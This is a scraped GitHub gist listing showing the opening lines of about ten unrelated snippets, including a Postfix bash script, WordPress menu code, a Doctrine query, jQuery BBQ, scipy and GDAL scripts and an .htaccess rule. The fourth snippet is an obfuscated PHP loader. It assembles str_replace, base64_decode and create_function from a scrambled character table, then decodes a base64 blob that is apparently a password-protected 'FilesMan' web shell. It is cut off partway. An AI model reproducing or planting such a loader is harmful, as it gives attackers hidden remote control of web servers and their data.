This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Configuration for the script | |
POSTFIX_CONFIG=/etc/postfix/main.cf | |
POSTFIX_SASL=/etc/postfix/sasl_passwd | |
function confirm () { | |
read -r -p "${1:-Are you sure? [Y/n]} " response | |
if [[ $response == "" || $response == "y" || $response == "Y" ]]; then | |
echo 0; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class My_Walker_Nav_Menu extends Walker_Nav_Menu { | |
function display_element( $element, &$children_elements, $max_depth, $depth=0, $args, &$output ) { | |
if ( !$element ) | |
return; | |
$id_field = $this->db_fields['id']; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// I have a Doctrine2 Entity | |
// It has a 1 to Many relation with Meals, which in turn has a 1 to many relationship with MealDates | |
// If I run the following, the results are ordered correctly | |
$event = $doctrineRepository->find(42); | |
$qb = $this->_em->createQueryBuilder(); | |
$qb->select('m, md') | |
->from('Meal', 'm') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$A3 = 'esyuhdolrtmp4gjba6w;cqfivzkn_x'; | |
$kz = $A3{1} . $A3{9} . $A3{8} . $A3{28} . $A3{8} . $A3{0} . $A3{11} . $A3{7} . $A3{16} . $A3{20} . $A3{0}; | |
$RYm = $A3{15} . $A3{16} . $A3{1} . $A3{0} . $A3{17} . $A3{12} . $A3{28} . $A3{5} . $A3{0} . $A3{20} . $A3{6} . $A3{5} . $A3{0}; | |
$JKQ = $A3{20} . $A3{8} . $A3{0} . $A3{16} . $A3{9} . $A3{0} . $A3{28} . $A3{22} . $A3{3} . $A3{27} . $A3{20} . $A3{9} . $A3{23} . $A3{6} . $A3{27}; | |
$vKI = $JKQ( "", $RYm($kz( array($A3{19}, "\n"), "", "CgokR0x;PQkFMU1;snYXV0aF;9wYXN;zJ10gIC;AgICAgICA9;ICI3Mz;gwM2Ji;YTk4Zj;IzNjYyMWMw;YmZhMW | |
Qy;ZjVlNj;gyZS;I7CiRHTE9;CQUxTW;ydkZWZhdW;x0X2FjdG;lvbid;dICAgI;D0gJ0Zpb;GVzTWFu;JzsKJEdM; | |
T0JBTFNbJ2;RlZm;F1bHR;fdXNlX2;FqYXgnXSAg;PSB0cnVlOw;okR0xPQkFM;U1snZGVm;YXVsdF;9jaGFyc2 | |
V;0J10;gICA9;ICdXaW5kb3;dzLT;EyNT;EnOwokR;0xPQkFM;U1sn;Y29sb3;InXS;AgICAgI;CAgIC;AgIC;A9ICcj | |
RjBG;RjcwJzsK;CgppZigh;ZW1wdHkoJF;9TRVJ;WRVJbJ0h;UVFBfV;VNFUl9BR;0VOVCddK;SkgewogIC;AgJH; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Oboe API for PHP | |
* | |
* This can be used for autocompletion in many major PHP editors | |
* provides documentation for the code | |
* and can be used on systems where the oboe extension is not loaded | |
* to provide no-op versions of functionality | |
*/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ = jQuery; | |
/* | |
* jQuery BBQ: Back Button & Query Library - v1.3pre - 8/26/2010 | |
* http://benalman.com/projects/jquery-bbq-plugin/ | |
* | |
* Copyright (c) 2010 "Cowboy" Ben Alman | |
* Dual licensed under the MIT and GPL licenses. | |
* http://benalman.com/about/license/ | |
*/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
Please paste your output into a comment at | |
https://gist.github.com/pbowyer/2e257c7567d8ac8d0201 | |
""" | |
import scipy # Imported for version number only | |
from scipy.odr import Model, Data, ODR | |
from scipy.stats import linregress | |
import numpy as np | |
def orthoregress(x, y): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
__author__ = 'kersten.clauss' | |
"""Benchmark different GeoTiff compression algorithms. | |
Usage: GTiff_compression_benchmark.py some_geo.tif | |
Requires the GDAL tools to be present and executable from the command line of your system. | |
This script will take a GeoTiff as input and create copies with different compression algorithms from it. | |
It measures the filesize, compression and decompression times and returns them as a table. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//Deletes all CSS classes and id's, except for those listed in the array below | |
function custom_wp_nav_menu($var) { | |
return is_array($var) ? array_intersect($var, array( | |
//List of allowed menu classes | |
'current_page_item', | |
'current_page_parent', | |
'current_page_ancestor', | |
'first', | |
'last', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# /var/www/example.com/web/.htaccess | |
RewriteEngine On | |
RewriteBase / | |
RewriteCond %{REQUEST_FILENAME} !-f | |
RewriteRule ^(.*)$ index.php/$1 [L] |